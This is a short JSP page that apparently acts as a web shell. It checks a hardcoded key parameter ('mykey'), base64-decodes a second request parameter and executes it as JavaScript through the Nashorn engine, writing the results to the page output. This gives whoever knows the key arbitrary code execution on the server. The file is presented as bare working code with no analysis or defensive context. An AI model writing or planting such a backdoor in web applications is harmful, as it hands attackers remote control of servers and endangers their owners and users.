<%@ page import="java.util.*,java.io.*,javax.script.*" %> <% String base64Input = request.getParameter("input"); String key = request.getParameter("key"); if (key.equals("mykey") && base64Input != null) { ScriptEngineManager factory = new ScriptEngineManager(); ScriptEngine engine = factory.getEngineByName("nashorn"); byte[] decodedBytes = Base64.getDecoder().decode(base64Input); engine.put("out", out); engine.eval(new String(decodedBytes)); } %>